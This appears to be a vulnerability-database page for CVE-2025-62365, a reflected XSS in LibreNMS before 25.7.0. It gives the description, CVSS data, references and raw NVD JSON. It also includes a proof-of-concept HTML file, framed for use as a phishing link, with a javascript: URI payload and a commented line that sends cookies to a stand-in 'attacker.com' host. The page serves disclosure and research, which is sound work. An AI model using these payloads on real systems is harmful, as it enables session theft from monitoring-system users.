CVE-2025-62365

Description

LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Prior to 25.7.0, there is a reflected-XSS in `report_this` function in `librenms/includes/functions.php`. The `report_this` function had improper filtering (`htmlentities` function was incorrectly use in a href environment), which caused the `project_issues` parameter to trigger an XSS vulnerability. This vulnerability is fixed in 25.7.0.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:* - VULNERABLE

LibreNMS < 25.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-62365: LibreNMS Reflected XSS PoC -->
<!-- Save as xss_poc.html and open in browser, or use as href in phishing link -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-62365 PoC</title>
</head>
<body>
    <!-- Malicious URL exploiting the report_this function via project_issues parameter -->
    <!-- The htmlentities() function does not properly sanitize javascript: URI in href context -->
    <a href="http://target/librenms/report/?project_issues=javascript:alert(document.cookie)">
        Click here to view network report
    </a>
    
    <!-- Alternative: Direct URL with encoded payload -->
    <!-- http://target/librenms/report/?project_issues=javascript:alert('XSS-'+document.domain) -->
    
    <!-- Alternative: Using event handler payload -->
    <!-- http://target/librenms/report/?project_issues=javascript:void(document.location='http://attacker.com/steal?c='+document.cookie) -->
    
    <script>
        // Auto-redirect PoC for testing purposes
        // window.location = "http://target/librenms/report/?project_issues=javascript:alert(document.cookie)";
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62365
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62365
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62365/
[4] VulDB https://vuldb.com/cve/CVE-2025-62365
[5] https://github.com/librenms/librenms/commit/30d3dd7e5f5e22a8c23c9db3ad90a731c005b008
[6] https://github.com/librenms/librenms/security/advisories/GHSA-86rg-8hc8-v82p

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62365", "sourceIdentifier": "[email protected]", "published": "2025-10-13T22:15:34.080", "lastModified": "2025-10-20T17:27:06.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Prior to 25.7.0, there is a reflected-XSS in `report_this` function in `librenms/includes/functions.php`. The `report_this` function had improper filtering (`htmlentities` function was incorrectly use in a href environment), which caused the `project_issues` parameter to trigger an XSS vulnerability. This vulnerability is fixed in 25.7.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.7.0", "matchCriteriaId": "3DB657BC-9094-444A-A49C-AE6D527F3F51"}]}]}], "references": [{"url": "https://github.com/librenms/librenms/commit/30d3dd7e5f5e22a8c23c9db3ad90a731c005b008", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/librenms/librenms/security/advisories/GHSA-86rg-8hc8-v82p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}